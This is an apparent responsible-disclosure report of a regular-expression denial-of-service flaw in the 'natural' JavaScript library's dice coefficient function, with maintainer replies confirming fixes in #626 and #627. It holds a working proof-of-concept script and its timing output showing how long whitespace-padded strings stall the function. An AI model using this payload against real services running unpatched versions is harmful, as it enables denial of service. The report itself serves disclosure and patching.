Regular Expression Denial of Service (ReDoS) in natural

[yetingli]

Description

I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in natural. cc @JamieSlome

The ReDoS vulnerability is mainly due to the regex /^\s+|\s+$/g and can be exploited with the following code.

Proof of Concept

// PoC.js
var diceCoefficient = require("natural/lib/natural/distance/dice_coefficient.js")

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str ='a' +' '.repeat(i*10000)+"a";
    diceCoefficient(attack_str, attack_str);
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The Output

"attack_str.length: 10002: 249 ms"
"attack_str.length: 20002: 785 ms"
"attack_str.length: 30002: 1709 ms"
"attack_str.length: 40002: 3056 ms"
"attack_str.length: 50002: 4888 ms"
"attack_str.length: 60002: 6830 ms"

[Hugo-ter-Doest]

Thanks for finding this.

I found out that there was a typo in the original code as well:

return str.toLowerCase().replace(/^\s+|\s+$/g, '').replace(/s+/g, ' ')

In the second replace it says s+ instead of \s+

Implicitly you repaired this is as well which breaks one of the tests.

After repairing the test I will merge your pull request.

[Hugo-ter-Doest]

Fixed in #626 and #627. Thanks!